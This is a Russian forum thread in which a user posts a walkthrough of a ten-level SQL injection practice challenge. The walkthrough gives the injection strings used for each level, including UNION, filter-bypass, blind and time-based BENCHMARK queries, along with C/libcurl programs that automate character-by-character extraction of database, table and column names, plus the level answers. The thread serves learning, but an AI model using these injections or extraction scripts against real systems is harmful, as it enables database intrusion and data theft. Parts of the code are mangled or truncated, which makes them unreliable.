ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
 |
|

30.03.2015, 02:29
|
|
Познающий
Регистрация: 02.12.2010
Сообщений: 79
Провел на форуме: 26437
Репутация:
-2
|
|
наконец то прошел левел 8. Сколько там уровней?
|
|
|

30.03.2015, 09:28
|
|
Постоянный
Регистрация: 12.10.2011
Сообщений: 569
Провел на форуме: 178623
Репутация:
94
|
|
Сообщение от teh
наконец то прошел левел 8. Сколько там уровней?
Десять.
Сам остановился на десятом и забросил.
|
|
|

30.03.2015, 11:52
|
|
Познающий
Регистрация: 02.12.2010
Сообщений: 79
Провел на форуме: 26437
Репутация:
-2
|
|
Сообщение от MaxFast
Десять.
Сам остановился на десятом и забросил.
на 9 остановился и пошел спать. На восьмой где то 3 часа потратил. Нужно еще подучиться.
|
|
|

03.06.2015, 00:48
|
|
Banned
Регистрация: 21.11.2007
Сообщений: 181
Провел на форуме: 1066435
Репутация:
1013
|
|
апну тему. советую всем новичкам
|
|
|

29.06.2015, 18:07
|
|
Новичок
Регистрация: 25.06.2015
Сообщений: 3
Провел на форуме: 1034
Репутация:
0
|
|
Сразу скажу: с MySQL я знаком на уровне "когда то читал посвященный ей chm", с инъекциями примерно так же, поэтому не ждите от меня красивых решений. Я знаю что метод двоичного поиска реализован лишь на половину, а программы написаны кривовато, т.к. писались чтобы использовать один раз и забыть. Если нужно - могу привести код в порядок.
- Все просто, вводим запрос как он будет:
Код:
select pass from users where id=12;
Ответ: QwErTy
- Тут надо отбросить то что нам мешает, примерно так: ' or id=9;#
В итоге пучится :
Код:
select * from users where id=2 or login='' or id=9;#'
# - начало комментария, все что за ней - отпросится.
Ответ: secreto
- То же самое: ' or id=13;#
Код:
select * from users where id=2 or login='' or id=13;#' limit 1
Видимо предыдущий я решил как то неверно, потому что решение подошло и сюда
Ответ: iwanttogo4
- Нужно отбросить лимит и приклеить еще один запрос:
Код:
select * from users where id=2 or login='' union select * from secret where ggg='abc';#' limit 1
Ответ: dg
- То же, что и в предыдущем, но не совпадает количество столбцов. Добьем недостающий единицей:
Код:
select * from users where id=2 or login='' union select *,1 from secret;#' limit 1
Ответ: thisisapass232
- Нужно решить проблему фильтрации кавычки:
Код:
select * from users where id=0 or login=CHAR(0x67,0x6f,0x64) limit 1
Ответ: ivarywantlevel7
Хорошо, что вы не знаете как я решал задачу сначала...
- Нужно решить проблему фильтрации всего (пробелов, скобок, кавычек, чего то еще).
Пробелы успешно меняются на /**/.
Кавычки исключаются, строка представляется в виде шестнадцатеричных значений символов ее составляющих. Неизвестная группа символов меняется на % (0x25).
Код:
select * from users where id=0/**/or/**/login/**/like/**/0x2567656e746f6f25 limit 1
Ответ: level8please
Хорошо, что вы не знаете что тут я пытался сделать то же, что и в шестом в начале...
- Тут слепая инъекция, будем искать пароль посимвольно методом подбора. В данном случае это вполне нормально, однако когда надо найти длинные строки лучше бы использовать метод двоичной сортировки.
Сначала узнаем его длину (привожу только то что ввел я, а не весь запрос):
Код:
0 union select * from users where login='fast' and LENGTH(pass)>3
нашло одного такого, пароль явно длиннее трех символов
[CODE]
0 union select * from users where login='fast' and LENGTH(pass)
.SpoilerTarget" type="button">Spoiler: Код
[CODE]
#include
#include
#include
static int writer(char *data, size_t size, size_t nmemb, char **buffer)
{
int result = size * nmemb;
if(*buffer)
{
*buffer=(char*)realloc(*buffer,(strlen(*buffer)+re sult+1)*sizeof(char));
strcat(*buffer,data);
}
else
{
*buffer=(char*)calloc(result+1,sizeof(char));
strcpy(*buffer,data);
}
return result;
}
int curlPOST(char* URL,char* postData,char **buffer)
{
CURL *curl;
CURLcode performReturn;
curl_global_init(CURL_GLOBAL_DEFAULT);
curl = curl_easy_init();
if(curl)
{
curl_easy_setopt(curl, CURLOPT_URL, URL);
curl_easy_setopt(curl, CURLOPT_NOPROGRESS, 1L);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L);
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, writer);
curl_easy_setopt(curl, CURLOPT_WRITEDATA, buffer);
if(postData)
curl_easy_setopt(curl, CURLOPT_POSTFIELDS, postData);
performReturn = curl_easy_perform(curl);
if(performReturn != CURLE_OK)
{
printf("curl_easy_perform failed: %s\n",curl_easy_strerror(performReturn));
return 0;
}
}
else
return 0;
curl_global_cleanup();
return 1;
}
void main()
{
char *ret;
char url[255];
char symb=0;
int i,i1;
char res=0;
printf("Password charcode: 0x");
for(i=1;i
Все основано на следующем запросе (привожу только мою часть):
Код:
0 union select * from users where login='fast' and ASCII(SUBSTRING(pass,1,1))=57
Ответ: 9levlpass
- Тут то же самое. Слепая иньекция. Нужно нормально реализовывать поиск. Все по аналогии с предыдущим заданием, в комментариях не нуждается.
.SpoilerTarget" type="button">Spoiler
[CODE]
#include
#include
#include
static int writer(char *data, size_t size, size_t nmemb, char **buffer)
{
int result = size * nmemb;
if(*buffer)
{
*buffer=(char*)realloc(*buffer,(strlen(*buffer)+re sult+1)*sizeof(char));
strcat(*buffer,data);
}
else
{
*buffer=(char*)calloc(result+1,sizeof(char));
strcpy(*buffer,data);
}
return result;
}
int curlPOST(char* URL,char* postData,char **buffer)
{
CURL *curl;
CURLcode performReturn;
curl_global_init(CURL_GLOBAL_DEFAULT);
curl = curl_easy_init();
if(curl)
{
curl_easy_setopt(curl, CURLOPT_URL, URL);
curl_easy_setopt(curl, CURLOPT_NOPROGRESS, 1L);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L);
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, writer);
curl_easy_setopt(curl, CURLOPT_WRITEDATA, buffer);
if(postData)
curl_easy_setopt(curl, CURLOPT_POSTFIELDS, postData);
performReturn = curl_easy_perform(curl);
if(performReturn != CURLE_OK)
{
printf("curl_easy_perform failed: %s\n",curl_easy_strerror(performReturn));
return 0;
}
}
else
return 0;
curl_global_cleanup();
return 1;
}
int getLoginLength(int id)
{
char url[255], *ret, state;
sprintf(url,"https://alexbers.com/sql/almost9.php?text=%d+and+length%%28login%%29>0",id) ;
ret=NULL;
curlPOST(url,NULL,&ret);
state=*(ret+394);
free(ret);
if(state!='1')return -1;
int cmax=20;//будем считать что нет логинов длиннее 20
while(1)
{
sprintf(url,"https://alexbers.com/sql/almost9.php?text=%d+and+length%%28login%%29
В итоге их логины:- 48
- 131
- 125
- 1104
- 182
- 51
- 195
- 5
- 136
- 121
- 127
Ответ: 2225
- Слепой запрос без вывода, time-based injection.
Не извесно ничего. Надо узнать хоты бя имена таблиц (и их количество).
Код:
select if((select count(1) from information_schema.schemata)=6,BENCHMARK(1000000,ENCODE('DROP DA BOMB','Doctor Phineas Waldolf Steel')),null);
Задержка выполняется при условии что количество баз равно 6. И так, цифра за цифрой, подбираем количество баз.
.SpoilerTarget" type="button">Spoiler
Код:
#include
#include
#include
#include
static int writer(char *data, size_t size, size_t nmemb, char **buffer)
{
int result = size * nmemb;
if(*buffer)
{
*buffer=(char*)realloc(*buffer,(strlen(*buffer)+result+1)*sizeof(char));
strcat(*buffer,data);
}
else
{
*buffer=(char*)calloc(result+1,sizeof(char));
strcpy(*buffer,data);
}
return result;
}
int curlPOST(char* URL,char* postData,char **buffer)
{
CURL *curl;
CURLcode performReturn;
curl_global_init(CURL_GLOBAL_DEFAULT);
curl = curl_easy_init();
if(curl)
{
curl_easy_setopt(curl, CURLOPT_URL, URL);
curl_easy_setopt(curl, CURLOPT_NOPROGRESS, 1L);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L);
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, writer);
curl_easy_setopt(curl, CURLOPT_WRITEDATA, buffer);
if(postData)
curl_easy_setopt(curl, CURLOPT_POSTFIELDS, postData);
performReturn = curl_easy_perform(curl);
if(performReturn != CURLE_OK)
{
printf("curl_easy_perform failed: %s\n",curl_easy_strerror(performReturn));
return 0;
}
}
else
return 0;
curl_global_cleanup();
return 1;
}
void main()
{
char url[255], *ret, state;
int i;
double time[50];
int colcount=0;
while(1)
{
sprintf(url,"https://alexbers.com/sql/lastlevel10.php?text=if%%28%%28select+count%%281%%29+from+information_schema.schemata%%29%%3D%d%%2CBENCHMARK%%281000000%%2CENCODE%%28%%27DROP+DA+BOMB%%27%%2C%%27Doctor+Phineas+Waldolf+Steel%%27%%29%%29%%2Cnull%%29%%3B",colcount);
ret=NULL;
unsigned int start_time = clock();
curlPOST(url,NULL,&ret);
unsigned int end_time = clock();
free(ret);
if( ((double)end_time - (double)start_time)>870.0)
{
printf("we have %d columns\n",colcount);
break;
}
else
printf("we have mote than %d columns\n",colcount);
++colcount;
}
system("pause");
}
Оказывается две базы. Одна ясна - information_schema. Ищем имя второй.
Сначала находим длину.
.SpoilerTarget" type="button">Spoiler
Код:
#include
#include
#include
#include
static int writer(char *data, size_t size, size_t nmemb, char **buffer)
{
int result = size * nmemb;
if(*buffer)
{
*buffer=(char*)realloc(*buffer,(strlen(*buffer)+result+1)*sizeof(char));
strcat(*buffer,data);
}
else
{
*buffer=(char*)calloc(result+1,sizeof(char));
strcpy(*buffer,data);
}
return result;
}
int curlPOST(char* URL,char* postData,char **buffer)
{
CURL *curl;
CURLcode performReturn;
curl_global_init(CURL_GLOBAL_DEFAULT);
curl = curl_easy_init();
if(curl)
{
curl_easy_setopt(curl, CURLOPT_URL, URL);
curl_easy_setopt(curl, CURLOPT_NOPROGRESS, 1L);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L);
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, writer);
curl_easy_setopt(curl, CURLOPT_WRITEDATA, buffer);
if(postData)
curl_easy_setopt(curl, CURLOPT_POSTFIELDS, postData);
performReturn = curl_easy_perform(curl);
if(performReturn != CURLE_OK)
{
printf("curl_easy_perform failed: %s\n",curl_easy_strerror(performReturn));
return 0;
}
}
else
return 0;
curl_global_cleanup();
return 1;
}
void main()
{
char url[420], *ret, state;
int i;
double time[50];
int dbNameLen=0;
while(1)
{
sprintf(url,"https://alexbers.com/sql/lastlevel10.php?text=if%%28%%28select+count%%28*%%29+from+information_schema.schemata+where+schema_name+!%%3D%%27information_schema%%27+and+length%%28schema_name%%29%%3D%d%%29%%2CBENCHMARK%%281000000%%2CENCODE%%28%%27DROP+DA+BOMB%%27%%2C%%27Doctor+Phineas+Waldolf+Steel%%27%%29%%29%%2Cnull%%29%%3B",dbNameLen);
ret=NULL;
unsigned int start_time = clock();
curlPOST(url,NULL,&ret);
unsigned int end_time = clock();
free(ret);
if( ((double)end_time - (double)start_time)>870.0)
{
printf("Db name have %d characters\n",dbNameLen);
break;
}
else
printf("we have mote than %d characters\n",dbNameLen);
++dbNameLen;
}
system("pause");
}
Код:
select if((select count(*) from information_schema.schemata where schema_name !='information_schema' and length(schema_name)=3),BENCHMARK(1000000,ENCODE('DROP DA BOMB','Doctor Phineas Waldolf Steel')),null);
Все основано на этом запросе выше.
Длина имени базы равна 7 символов.
Теперь имя. По буквам (из за неточности пришлось увеличить задержку).
.SpoilerTarget" type="button">Spoiler
[CODE]
#include
#include
#include
#include
static int writer(char *data, size_t size, size_t nmemb, char **buffer)
{
int result = size * nmemb;
if(*buffer)
{
*buffer=(char*)realloc(*buffer,(strlen(*buffer)+re sult+1)*sizeof(char));
strcat(*buffer,data);
}
else
{
*buffer=(char*)calloc(result+1,sizeof(char));
strcpy(*buffer,data);
}
return result;
}
int curlPOST(char* URL,char* postData,char **buffer)
{
CURL *curl;
CURLcode performReturn;
curl_global_init(CURL_GLOBAL_DEFAULT);
curl = curl_easy_init();
if(curl)
{
curl_easy_setopt(curl, CURLOPT_URL, URL);
curl_easy_setopt(curl, CURLOPT_NOPROGRESS, 1L);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L);
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, writer);
curl_easy_setopt(curl, CURLOPT_WRITEDATA, buffer);
if(postData)
curl_easy_setopt(curl, CURLOPT_POSTFIELDS, postData);
performReturn = curl_easy_perform(curl);
if(performReturn != CURLE_OK)
{
printf("curl_easy_perform failed: %s\n",curl_easy_strerror(performReturn));
return 0;
}
}
else
return 0;
curl_global_cleanup();
return 1;
}
char findChar(int charNum)
{
char url[420], *ret;
int cmax=255;
while(1)
{
sprintf(url,"https://alexbers.com/sql/lastlevel10.php?text=if%%28%%28select+count%%28*%% 29+from+information_schema.schemata+where+schema_n ame+!%%3D%%27information_schema%%27+and+ascii%%28S UBSTRING%%28schema_name%%2C%d%%2C1%%29%%29>%d%%29% %2CBENCHMARK%%285000000%%2CENCODE%%28%%27DROP+DA+B OMB%%27%%2C%%27Doctor+Phineas+Waldolf+Steel%%27%%2 9%%29%%2Cnull%%29%%3B",charNum,cmax);
ret=NULL;
unsigned int start_time = clock();
curlPOST(url,NULL,&ret);
unsigned int end_time = clock();
free(ret);
if( ((double)end_time - (double)start_time)2500.0) return cmax; else ++cmax;
}
return -1;
}
void main()
{
int i;
for(i=0;i
База называется "level10". Какой сюрприз. Мог бы и догадатся.
Код:
select if((select count(*) from information_schema.schemata where schema_name !='information_schema' and ascii(SUBSTRING(schema_name,1,1))=50),BENCHMARK(1000000,ENCODE('DROP DA BOMB','Doctor Phineas Waldolf Steel')),null);
На этом запросе основывался поиск имени базы
Теперь найдем количество таблиц в базе.
.SpoilerTarget" type="button">Spoiler
Код:
#include
#include
#include
#include
static int writer(char *data, size_t size, size_t nmemb, char **buffer)
{
int result = size * nmemb;
if(*buffer)
{
*buffer=(char*)realloc(*buffer,(strlen(*buffer)+result+1)*sizeof(char));
strcat(*buffer,data);
}
else
{
*buffer=(char*)calloc(result+1,sizeof(char));
strcpy(*buffer,data);
}
return result;
}
int curlPOST(char* URL,char* postData,char **buffer)
{
CURL *curl;
CURLcode performReturn;
curl_global_init(CURL_GLOBAL_DEFAULT);
curl = curl_easy_init();
if(curl)
{
curl_easy_setopt(curl, CURLOPT_URL, URL);
curl_easy_setopt(curl, CURLOPT_NOPROGRESS, 1L);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L);
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, writer);
curl_easy_setopt(curl, CURLOPT_WRITEDATA, buffer);
if(postData)
curl_easy_setopt(curl, CURLOPT_POSTFIELDS, postData);
performReturn = curl_easy_perform(curl);
if(performReturn != CURLE_OK)
{
printf("curl_easy_perform failed: %s\n",curl_easy_strerror(performReturn));
return 0;
}
}
else
return 0;
curl_global_cleanup();
return 1;
}
void main()
{
char url[255], *ret, state;
int i;
double time[50];
int colcount=0;
while(1)
{
sprintf(url,"https://alexbers.com/sql/lastlevel10.php?text=if%%28%%28select+count%%28*%%29+from+information_schema.tables+where+table_schema%%3D%%27level10%%27%%29%%3D%d%%2CBENCHMARK%%285000000%%2CENCODE%%28%%27DROP+DA+BOMB%%27%%2C%%27Doctor+Phineas+Waldolf+Steel%%27%%29%%29%%2Cnull%%29%%3B",colcount);
ret=NULL;
unsigned int start_time = clock();
curlPOST(url,NULL,&ret);
unsigned int end_time = clock();
free(ret);
if( ((double)end_time - (double)start_time)>2500.0)
{
printf("we have %d table\n",colcount);
break;
}
else
printf("we have mote than %d tables\n",colcount);
++colcount;
}
system("pause");
}
Код:
select if((select count(*) from information_schema.tables where table_schema='level10')=1,BENCHMARK(5000000,ENCODE('DROP DA BOMB','Doctor Phineas Waldolf Steel')),null);
Все на основе запроса выше.
Таблица одна. Теперь ее имя.
Как всегда, сначала его длинна.
.SpoilerTarget" type="button">Spoiler
Код:
#include
#include
#include
#include
static int writer(char *data, size_t size, size_t nmemb, char **buffer)
{
int result = size * nmemb;
if(*buffer)
{
*buffer=(char*)realloc(*buffer,(strlen(*buffer)+result+1)*sizeof(char));
strcat(*buffer,data);
}
else
{
*buffer=(char*)calloc(result+1,sizeof(char));
strcpy(*buffer,data);
}
return result;
}
int curlPOST(char* URL,char* postData,char **buffer)
{
CURL *curl;
CURLcode performReturn;
curl_global_init(CURL_GLOBAL_DEFAULT);
curl = curl_easy_init();
if(curl)
{
curl_easy_setopt(curl, CURLOPT_URL, URL);
curl_easy_setopt(curl, CURLOPT_NOPROGRESS, 1L);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L);
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, writer);
curl_easy_setopt(curl, CURLOPT_WRITEDATA, buffer);
if(postData)
curl_easy_setopt(curl, CURLOPT_POSTFIELDS, postData);
performReturn = curl_easy_perform(curl);
if(performReturn != CURLE_OK)
{
printf("curl_easy_perform failed: %s\n",curl_easy_strerror(performReturn));
return 0;
}
}
else
return 0;
curl_global_cleanup();
return 1;
}
void main()
{
char url[320], *ret, state;
int i;
double time[50];
int colcount=0;
while(1)
{
sprintf(url,"https://alexbers.com/sql/lastlevel10.php?text=if%%28%%28select+count%%28*%%29+from+information_schema.tables+++where+table_schema%%3D%%27level10%%27+and+length%%28table_name%%29%%3D%d%%29%%2CBENCHMARK%%285000000%%2CENCODE%%28%%27DROP+DA+BOMB%%27%%2C%%27Doctor+Phineas+Waldolf+Steel%%27%%29%%29%%2Cnull%%29%%3B",colcount);
ret=NULL;
unsigned int start_time = clock();
curlPOST(url,NULL,&ret);
unsigned int end_time = clock();
free(ret);
if( ((double)end_time - (double)start_time)>2500.0)
{
printf("we have %d symbols\n",colcount);
break;
}
else
printf("we have mote than %d symbols\n",colcount);
++colcount;
}
system("pause");
}
Код:
select if((select count(*) from information_schema.tables where table_schema='level10' and length(table_name)=3),BENCHMARK(5000000,ENCODE('DROP DA BOMB','Doctor Phineas Waldolf Steel')),null);
Основано на запросе выше.
Длина имени таблицы - 11 символов.
А вот теперь ее имя.
.SpoilerTarget" type="button">Spoiler
[CODE]
#include
#include
#include
#include
static int writer(char *data, size_t size, size_t nmemb, char **buffer)
{
int result = size * nmemb;
if(*buffer)
{
*buffer=(char*)realloc(*buffer,(strlen(*buffer)+re sult+1)*sizeof(char));
strcat(*buffer,data);
}
else
{
*buffer=(char*)calloc(result+1,sizeof(char));
strcpy(*buffer,data);
}
return result;
}
int curlPOST(char* URL,char* postData,char **buffer)
{
CURL *curl;
CURLcode performReturn;
curl_global_init(CURL_GLOBAL_DEFAULT);
curl = curl_easy_init();
if(curl)
{
curl_easy_setopt(curl, CURLOPT_URL, URL);
curl_easy_setopt(curl, CURLOPT_NOPROGRESS, 1L);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L);
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, writer);
curl_easy_setopt(curl, CURLOPT_WRITEDATA, buffer);
if(postData)
curl_easy_setopt(curl, CURLOPT_POSTFIELDS, postData);
performReturn = curl_easy_perform(curl);
if(performReturn != CURLE_OK)
{
printf("curl_easy_perform failed: %s\n",curl_easy_strerror(performReturn));
return 0;
}
}
else
return 0;
curl_global_cleanup();
return 1;
}
char findChar(int charNum)
{
char url[420], *ret;
int cmax=255;
while(1)
{
sprintf(url,"https://alexbers.com/sql/lastlevel10.php?text=if%%28%%28select+count%%28*%% 29+from+information_schema.tables+where+table_sche ma%%3D%%27level10%%27+and+ascii%%28SUBSTRING%%28ta ble_name%%2C%d%%2C1%%29%%29>%d%%29%%2CBENCHMARK%%2 85000000%%2CENCODE%%28%%27DROP+DA+BOMB%%27%%2C%%27 Doctor+Phineas+Waldolf+Steel%%27%%29%%29%%2Cnull%% 29%%3B",charNum,cmax);
ret=NULL;
unsigned int start_time = clock();
curlPOST(url,NULL,&ret);
unsigned int end_time = clock();
free(ret);
if( ((double)end_time - (double)start_time)2500.0) return cmax; else ++cmax;
}
return -1;
}
void main()
{
int i;
for(i=0;i
Код:
select if((select count(*) from information_schema.tables where table_schema='level10' and ascii(SUBSTRING(table_name,1,1))=99),BENCHMARK(5000000,ENCODE('DROP DA BOMB','Doctor Phineas Waldolf Steel')),null);
Имя таблицы: davidblayne
Вдруг это уже ответ? Нет, нас еще помучают.
Теперь количество строк ней (хоть это не сложно):
.SpoilerTarget" type="button">Spoiler
Код:
#include
#include
#include
#include
static int writer(char *data, size_t size, size_t nmemb, char **buffer)
{
int result = size * nmemb;
if(*buffer)
{
*buffer=(char*)realloc(*buffer,(strlen(*buffer)+result+1)*sizeof(char));
strcat(*buffer,data);
}
else
{
*buffer=(char*)calloc(result+1,sizeof(char));
strcpy(*buffer,data);
}
return result;
}
int curlPOST(char* URL,char* postData,char **buffer)
{
CURL *curl;
CURLcode performReturn;
curl_global_init(CURL_GLOBAL_DEFAULT);
curl = curl_easy_init();
if(curl)
{
curl_easy_setopt(curl, CURLOPT_URL, URL);
curl_easy_setopt(curl, CURLOPT_NOPROGRESS, 1L);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L);
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, writer);
curl_easy_setopt(curl, CURLOPT_WRITEDATA, buffer);
if(postData)
curl_easy_setopt(curl, CURLOPT_POSTFIELDS, postData);
performReturn = curl_easy_perform(curl);
if(performReturn != CURLE_OK)
{
printf("curl_easy_perform failed: %s\n",curl_easy_strerror(performReturn));
return 0;
}
}
else
return 0;
curl_global_cleanup();
return 1;
}
void main()
{
char url[255], *ret, state;
int i;
double time[50];
int colcount=0;
while(1)
{
sprintf(url,"https://alexbers.com/sql/lastlevel10.php?text=if%%28%%28select+count%%28*%%29+from+level10.davidblayne%%29%%3D%d%%2CBENCHMARK%%285000000%%2CENCODE%%28%%27DROP+DA+BOMB%%27%%2C%%27Doctor+Phineas+Waldolf+Steel%%27%%29%%29%%2Cnull%%29%%3B",colcount);
ret=NULL;
unsigned int start_time = clock();
curlPOST(url,NULL,&ret);
unsigned int end_time = clock();
free(ret);
if( ((double)end_time - (double)start_time)>870.0)
{
printf("we have %d columns\n",colcount);
break;
}
else
printf("we have mote than %d columns\n",colcount);
++colcount;
}
system("pause");
}
Код:
select if((select count(*) from level10.davidblayne)=2,BENCHMARK(5000000,ENCODE('DROP DA BOMB','Doctor Phineas Waldolf Steel')),null);
На основе запроса выше выясняем - всего одна строка. Надеюсь хоть там то пароль.
Теперь количество столбцов.
.SpoilerTarget" type="button">Spoiler
Код:
#include
#include
#include
#include
static int writer(char *data, size_t size, size_t nmemb, char **buffer)
{
int result = size * nmemb;
if(*buffer)
{
*buffer=(char*)realloc(*buffer,(strlen(*buffer)+result+1)*sizeof(char));
strcat(*buffer,data);
}
else
{
*buffer=(char*)calloc(result+1,sizeof(char));
strcpy(*buffer,data);
}
return result;
}
int curlPOST(char* URL,char* postData,char **buffer)
{
CURL *curl;
CURLcode performReturn;
curl_global_init(CURL_GLOBAL_DEFAULT);
curl = curl_easy_init();
if(curl)
{
curl_easy_setopt(curl, CURLOPT_URL, URL);
curl_easy_setopt(curl, CURLOPT_NOPROGRESS, 1L);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L);
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, writer);
curl_easy_setopt(curl, CURLOPT_WRITEDATA, buffer);
if(postData)
curl_easy_setopt(curl, CURLOPT_POSTFIELDS, postData);
performReturn = curl_easy_perform(curl);
if(performReturn != CURLE_OK)
{
printf("curl_easy_perform failed: %s\n",curl_easy_strerror(performReturn));
return 0;
}
}
else
return 0;
curl_global_cleanup();
return 1;
}
void main()
{
char url[320], *ret, state;
int i;
double time[50];
int colcount=0;
while(1)
{
sprintf(url,"https://alexbers.com/sql/lastlevel10.php?text=if%%28%%28select+count%%28*%%29+from+information_schema.columns+where+table_name%%3D%%27davidblayne%%27%%29%%3D%d%%2CBENCHMARK%%285000000%%2CENCODE%%28%%27DROP+DA+BOMB%%27%%2C%%27Doctor+Phineas+Waldolf+Steel%%27%%29%%29%%2Cnull%%29%%3B",colcount);
ret=NULL;
unsigned int start_time = clock();
curlPOST(url,NULL,&ret);
unsigned int end_time = clock();
free(ret);
if( ((double)end_time - (double)start_time)>2500.0)
{
printf("we have %d columns\n",colcount);
break;
}
else
printf("we have mote than %d columns\n",colcount);
++colcount;
}
system("pause");
}
Код:
select if((select count(*) from information_schema.columns where table_name='davidblayne')=2,BENCHMARK(5000000,ENCODE('DROP DA BOMB','Doctor Phineas Waldolf Steel')),null);
Основано на запросе выше
Тут 5 столбцов. Теперь их имена.
Долго думал как сделать, оказалось что если взять ASCII от несуществующего символа - вернется 0. Длинна не нужна.
У меня ушло много времени чтобы придумать как имена столцов, ведь для этого надо получить имя одного определенного столбца, потом я наткнулся на ordinal_position и мои проблемы решились.
.SpoilerTarget" type="button">Spoiler
[CODE]
#include
#include
#include
#include
static int writer(char *data, size_t size, size_t nmemb, char **buffer)
{
int result = size * nmemb;
if(*buffer)
{
*buffer=(char*)realloc(*buffer,(strlen(*buffer)+re sult+1)*sizeof(char));
strcat(*buffer,data);
}
else
{
*buffer=(char*)calloc(result+1,sizeof(char));
strcpy(*buffer,data);
}
return result;
}
int curlPOST(char* URL,char* postData,char **buffer)
{
CURL *curl;
CURLcode performReturn;
curl_global_init(CURL_GLOBAL_DEFAULT);
curl = curl_easy_init();
if(curl)
{
curl_easy_setopt(curl, CURLOPT_URL, URL);
curl_easy_setopt(curl, CURLOPT_NOPROGRESS, 1L);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L);
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, writer);
curl_easy_setopt(curl, CURLOPT_WRITEDATA, buffer);
if(postData)
curl_easy_setopt(curl, CURLOPT_POSTFIELDS, postData);
performReturn = curl_easy_perform(curl);
if(performReturn != CURLE_OK)
{
printf("curl_easy_perform failed: %s\n",curl_easy_strerror(performReturn));
return 0;
}
}
else
return 0;
curl_global_cleanup();
return 1;
}
char findChar(int charNum,int columnNum)
{
char url[420], *ret;
int cmax=255;
while(1)
{
if(cmax==0)return 0;
sprintf(url,"https://alexbers.com/sql/lastlevel10.php?text=if%%28%%28select+count%%28*%% 29+from+information_schema.columns+where+table_nam e%%3D%%27davidblayne%%27+and+ordinal_position%%3D% d+and+ascii%%28substring%%28column_name%%2C%d%%2C1 %%29%%29>%d%%29%%3D1%%2CBENCHMARK%%285000000%%2CEN CODE%%28%%27DROP+DA+BOMB%%27%%2C%%27Doctor+Phineas +Waldolf+Steel%%27%%29%%29%%2Cnull%%29%%3B",column Num,charNum,cmax);//>
ret=NULL;
unsigned int start_time = clock();
curlPOST(url,NULL,&ret);
unsigned int end_time = clock();
free(ret);
if( ((double)end_time - (double)start_time)2500.0) return cmax; else ++cmax;
}
return -1;
}
void main()
{
int i,i1;
char curChar;
for(i=0;i
Код:
select if((select count(*) from information_schema.columns where table_name='davidblayne' and ordinal_position=1 and ascii(substring(column_name,1,1))=105)=1,BENCHMARK(5000000,ENCODE('DROP DA BOMB','Doctor Phineas Waldolf Steel')),null);
Основано на запросе выше.
Имена столбцов следующие (из за проблем с соединением или ошибками в коде пришлось запускать несколько раз, иногда путало символы).- first
- second
- morkovka
- wtf
- genius
Имена в итогу вышли читаемыее и осмысленные, я на верном пути. Осталось узнать что хранится в каждом из них. Звучит не слишком сложно.
.SpoilerTarget" type="button">Spoiler
[CODE]
#include
#include
#include
#include
static int writer(char *data, size_t size, size_t nmemb, char **buffer)
{
int result = size * nmemb;
if(*buffer)
{
*buffer=(char*)realloc(*buffer,(strlen(*buffer)+re sult+1)*sizeof(char));
strcat(*buffer,data);
}
else
{
*buffer=(char*)calloc(result+1,sizeof(char));
strcpy(*buffer,data);
}
return result;
}
int curlPOST(char* URL,char* postData,char **buffer)
{
CURL *curl;
CURLcode performReturn;
curl_global_init(CURL_GLOBAL_DEFAULT);
curl = curl_easy_init();
if(curl)
{
curl_easy_setopt(curl, CURLOPT_URL, URL);
curl_easy_setopt(curl, CURLOPT_NOPROGRESS, 1L);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L);
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, writer);
curl_easy_setopt(curl, CURLOPT_WRITEDATA, buffer);
if(postData)
curl_easy_setopt(curl, CURLOPT_POSTFIELDS, postData);
performReturn = curl_easy_perform(curl);
if(performReturn != CURLE_OK)
{
printf("curl_easy_perform failed: %s\n",curl_easy_strerror(performReturn));
return 0;
}
}
else
return 0;
curl_global_cleanup();
return 1;
}
char findChar(int charNum,char *tableName)
{
char url[420], *ret;
int cmax=255;
while(1)
{
if(cmax==0)return 0;
